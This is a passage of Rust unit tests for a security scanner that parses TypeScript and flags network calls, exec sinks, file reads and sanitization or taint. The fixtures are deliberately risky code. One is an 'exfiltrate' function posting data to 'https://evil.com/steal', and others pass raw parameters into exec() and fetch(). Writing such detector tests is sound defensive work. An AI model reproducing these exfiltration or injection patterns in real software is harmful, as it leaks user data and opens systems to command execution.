1095    #[test]
1096    fn detects_arrow_function_params() {
1097        let code = r#"
1098const handler = async (url: string) => {
1099    const resp = await fetch(url);
1100    return resp.text();
1101};
1102"#;
1103        let parsed = TypeScriptParser
1104            .parse_file(Path::new("test.ts"), code)
1105            .unwrap();
1106        assert_eq!(parsed.network_operations.len(), 1);
1107        assert!(matches!(
1108            parsed.network_operations[0].url_arg,
1109            ArgumentSource::Parameter { .. }
1110        ));
1111    }
1112
1113    #[test]
1114    fn detects_axios_post() {
1115        let code = r#"
1116async function exfiltrate(data: string) {
1117    await axios.post("https://evil.com/steal", { body: data });
1118}
1119"#;
1120        let parsed = TypeScriptParser
1121            .parse_file(Path::new("test.ts"), code)
1122            .unwrap();
1123        assert_eq!(parsed.network_operations.len(), 1);
1124        assert!(parsed.network_operations[0].sends_data);
1125    }
1126
1127    // ── Tests requiring tree-sitter AST (multi-line, TSX, accurate positions) ──
1128
1129    #[cfg(feature = "typescript")]
1130    #[test]
1131    fn detects_multiline_exec_call() {
1132        let code = r#"
1133function runCommand(command: string) {
1134    exec(
1135        command,
1136        { encoding: "utf-8" }
1137    );
1138}
1139"#;
1140        let parsed = TypeScriptParser
1141            .parse_file(Path::new("test.ts"), code)
1142            .unwrap();
1143        assert_eq!(parsed.commands.len(), 1);
1144        assert!(matches!(
1145            parsed.commands[0].command_arg,
1146            ArgumentSource::Parameter { .. }
1147        ));
1148    }
1149
1150    #[cfg(feature = "typescript")]
1151    #[test]
1152    fn detects_multiline_fetch() {
1153        let code = r#"
1154async function sendData(url: string) {
1155    const resp = await fetch(
1156        url,
1157        {
1158            method: "POST",
1159            body: JSON.stringify({ key: "value" }),
1160        }
1161    );
1162    return resp.json();
1163}
1164"#;
1165        let parsed = TypeScriptParser
1166            .parse_file(Path::new("test.ts"), code)
1167            .unwrap();
1168        assert_eq!(parsed.network_operations.len(), 1);
1169        assert!(matches!(
1170            parsed.network_operations[0].url_arg,
1171            ArgumentSource::Parameter { .. }
1172        ));
1173    }
1174
1175    #[cfg(feature = "typescript")]
1176    #[test]
1177    fn detects_nested_callback_exec() {
1178        let code = r#"
1179function runCommand(command: string): Promise<string> {
1180    return new Promise((resolve, reject) => {
1181        exec(command, (error, stdout) => {
1182            if (error) reject(error);
1183            resolve(stdout);
1184        });
1185    });
1186}
1187"#;
1188        let parsed = TypeScriptParser
1189            .parse_file(Path::new("test.ts"), code)
1190            .unwrap();
1191        assert_eq!(parsed.commands.len(), 1);
1192        assert!(matches!(
1193            parsed.commands[0].command_arg,
1194            ArgumentSource::Parameter { .. }
1195        ));
1196    }
1197
1198    #[cfg(feature = "typescript")]
1199    #[test]
1200    fn accurate_line_numbers() {
1201        let code = r#"
1202// line 2
1203// line 3
1204function dangerous(cmd: string) {
1205    exec(cmd);
1206}
1207"#;
1208        let parsed = TypeScriptParser
1209            .parse_file(Path::new("test.ts"), code)
1210            .unwrap();
1211        assert_eq!(parsed.commands.len(), 1);
1212        // exec(cmd) is on line 5
1213        assert_eq!(parsed.commands[0].location.line, 5);
1214    }
1215
1216    #[cfg(feature = "typescript")]
1217    #[test]
1218    fn handles_tsx_file() {
1219        let code = r#"
1220import React from "react";
1221
1222const Component = ({ url }: { url: string }) => {
1223    const data = fetch(url);
1224    return <div>{data}</div>;
1225};
1226"#;
1227        let parsed = TypeScriptParser
1228            .parse_file(Path::new("component.tsx"), code)
1229            .unwrap();
1230        assert_eq!(parsed.network_operations.len(), 1);
1231        assert!(matches!(
1232            parsed.network_operations[0].url_arg,
1233            ArgumentSource::Parameter { .. }
1234        ));
1235    }
1236
1237    // ── Cross-file support tests ──
1238
1239    #[test]
1240    fn extracts_function_defs() {
1241        let code = r#"
1242export async function readFileContent(filePath: string) {
1243    return fs.readFile(filePath, "utf-8");
1244}
1245
1246function internalHelper(x: number) {
1247    return x + 1;
1248}
1249"#;
1250        let parsed = TypeScriptParser
1251            .parse_file(Path::new("lib.ts"), code)
1252            .unwrap();
1253        assert!(parsed.function_defs.len() >= 2);
1254        let exported = parsed
1255            .function_defs
1256            .iter()
1257            .find(|d| d.name == "readFileContent");
1258        assert!(exported.is_some());
1259        assert!(exported.unwrap().is_exported);
1260        assert_eq!(exported.unwrap().params, vec!["filePath"]);
1261
1262        let internal = parsed
1263            .function_defs
1264            .iter()
1265            .find(|d| d.name == "internalHelper");
1266        assert!(internal.is_some());
1267        assert!(!internal.unwrap().is_exported);
1268    }
1269
1270    #[test]
1271    fn extracts_call_sites() {
1272        let code = r#"
1273async function handler(args: any) {
1274    const validPath = await validatePath(args.path);
1275    const content = await readFileContent(validPath);
1276    return content;
1277}
1278"#;
1279        let parsed = TypeScriptParser
1280            .parse_file(Path::new("index.ts"), code)
1281            .unwrap();
1282        assert!(!parsed.call_sites.is_empty());
1283        let rfc_call = parsed
1284            .call_sites
1285            .iter()
1286            .find(|cs| cs.callee == "readFileContent");
1287        assert!(rfc_call.is_some(), "Should find readFileContent call site");
1288    }
1289
1290    #[test]
1291    fn detects_sanitizer_assignment() {
1292        let code = r#"
1293async function handler(args: any) {
1294    const validPath = await validatePath(args.path);
1295    const content = await readFileContent(validPath);
1296    return content;
1297}
1298"#;
1299        let parsed = TypeScriptParser
1300            .parse_file(Path::new("index.ts"), code)
1301            .unwrap();
1302        assert!(parsed.sanitized_vars.contains("validPath"));
1303
1304        // The call to readFileContent(validPath) should classify validPath as Sanitized
1305        let rfc_call = parsed
1306            .call_sites
1307            .iter()
1308            .find(|cs| cs.callee == "readFileContent");
1309        assert!(rfc_call.is_some());
1310        let rfc = rfc_call.unwrap();
1311        assert!(!rfc.arguments.is_empty());
1312        assert!(
1313            matches!(&rfc.arguments[0], ArgumentSource::Sanitized { .. }),
1314            "validPath should be classified as Sanitized, got: {:?}",
1315            rfc.arguments[0]
1316        );
1317    }
1318
1319    #[test]
1320    fn sanitized_var_from_path_resolve() {
1321        let code = r#"
1322function processFile(rawPath: string) {
1323    const safePath = path.resolve(rawPath);
1324    fs.readFileSync(safePath, "utf-8");
1325}
1326"#;
1327        let parsed = TypeScriptParser
1328            .parse_file(Path::new("test.ts"), code)
1329            .unwrap();
1330        assert!(parsed.sanitized_vars.contains("safePath"));
1331    }
1332
1333    #[test]
1334    fn url_parse_assignment_is_not_sanitized_for_ssrf() {
1335        let code = r#"
1336async function handler(args: { url: string }) {
1337    const parsedUrl = URL.parse(args.url);
1338    return fetch(parsedUrl);
1339}
1340"#;
1341        let parsed = TypeScriptParser
1342            .parse_file(Path::new("test.ts"), code)
1343            .unwrap();
1344
1345        assert!(!parsed.sanitized_vars.contains("parsedUrl"));
1346        assert_eq!(parsed.network_operations.len(), 1);
1347        assert!(
1348            parsed.network_operations[0].url_arg.is_tainted(),
1349            "URL.parse output must remain tainted for network sinks"
1350        );
1351    }
1352
1353    #[test]
1354    fn redaction_assignment_is_not_sanitized_for_file_paths() {
1355        let code = r#"
1356function redactSecret(value: string): string {
1357    return value.replace(/secret/g, "[REDACTED]");
1358}
1359
1360function handler(args: { path: string }) {
1361    const redactedPath = redactSecret(args.path);
1362    return fs.readFileSync(redactedPath, "utf-8");
1363}
1364"#;
1365        let parsed = TypeScriptParser
1366            .parse_file(Path::new("test.ts"), code)
1367            .unwrap();
1368
1369        assert!(!parsed.sanitized_vars.contains("redactedPath"));
1370        assert_eq!(parsed.file_operations.len(), 1);
1371        assert!(
1372            parsed.file_operations[0].path_arg.is_tainted(),
1373            "redaction output must remain tainted for file path sinks"
1374        );
1375    }
1376}